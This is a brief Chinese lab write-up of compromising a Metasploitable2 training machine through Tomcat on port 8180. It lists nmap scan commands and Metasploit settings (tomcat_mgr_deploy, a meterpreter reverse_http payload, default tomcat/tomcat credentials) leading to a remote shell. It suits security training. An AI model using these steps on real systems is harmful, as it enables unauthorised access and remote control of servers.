记一次metasploitable2内网渗透之8180端口tomcat

扫描网段存活主机,确定内网metasploitable主机位置

nmap -T4 -sP 192.168.1.0/24

对目标主机进行扫描端口开放和系统信息

nmap -T4 -sV -Pn 192.168.1.1

扫描结果

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.

可观察到有很多的端口对外开放，甚至有后门程序开放的端口。看到最下面则有一个8180端口，通过在百度上搜索这个端口，发现tomcat5.5存在中间件的rce漏洞，可尝试利用

use exploit/multi/http/tomcat_mgr_deploy
set payload java/meterpreter/reverse_http 

在这儿之后，直接配置

rhost为受害机的IP地址

rport为8180

httpusername为tomcat

httppassword为tomcat

出现meterpreter > 即渗透成功，则可进行下一步的后渗透阶段
